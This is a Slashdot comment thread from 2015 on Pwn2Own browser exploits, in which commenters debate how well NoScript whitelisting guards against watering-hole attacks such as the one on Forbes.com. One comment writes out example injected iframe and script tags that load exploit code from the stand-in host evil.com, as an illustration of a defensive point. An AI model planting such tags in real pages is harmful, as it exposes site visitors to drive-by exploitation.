Re:All Major Browsers Fall at Pwn2Own Day Two
by eeeeeeeeeeeee on Friday March 20, 2015 @05:44PM
(#9240851)
It definitely improves security, but you'll still be screwed against a targeted attack against a specific website.
The attack against Forbes.com is a good example. That is a site you would have whitelisted and the attackers compromised that website to then elevate access to the people browsing that site (government employees specifically targeted).
http://www.forbes.com/sites/thomasbrewster/2015/02/10/forbes...
Re:All Major Browsers Fall at Pwn2Own Day Two
by rudolf0 on Friday March 20, 2015 @05:56PM
(#9240899)
I work in incident response and actually investigated that watering hole firsthand at our organization. The SWF was hosted on a separate domain, so NoScript in fact would have prevented that specific attack from working even if you whitelisted forbes.com.
NoScript will very often block exploit chains from occurring even if it won't necessarily always block stage 1.
Re:All Major Browsers Fall at Pwn2Own Day Two
by ZitchDog on Friday March 20, 2015 @02:56PM
(#9239896)
So, most sites won't work, and the ones that do work will still be vulnerable? Awesome.
Re:All Major Browsers Fall at Pwn2Own Day Two
by rudolf0 on Friday March 20, 2015 @03:47PM
(#9240257)
They're vulnerable if you whitelist them and they get hacked and exploit code is sent directly in the HTTP response. Just like how HTTPS (and HSTS and certificate pinning) does nothing for you if the server is compromised.
If you're careful about what you whitelist, NoScript adds a lot of additional security.
You whitelist the sites you trust. Then if any of those sites get hacked, there will likely be a line added like <iframe src="http://evil.com/exploit.html">, or <script src="http://evil.com/exploit.js"></script>. NoScript will always prevent those since whitelists are domain-specific. So unless the malicious Javascript is added 100% inline on the compromised site (which is easy to do, but is done less often for a variety of reasons), you're going to be safe.
And, obviously, you do not whitelist random sites you click off of Google searches or from emails without validation.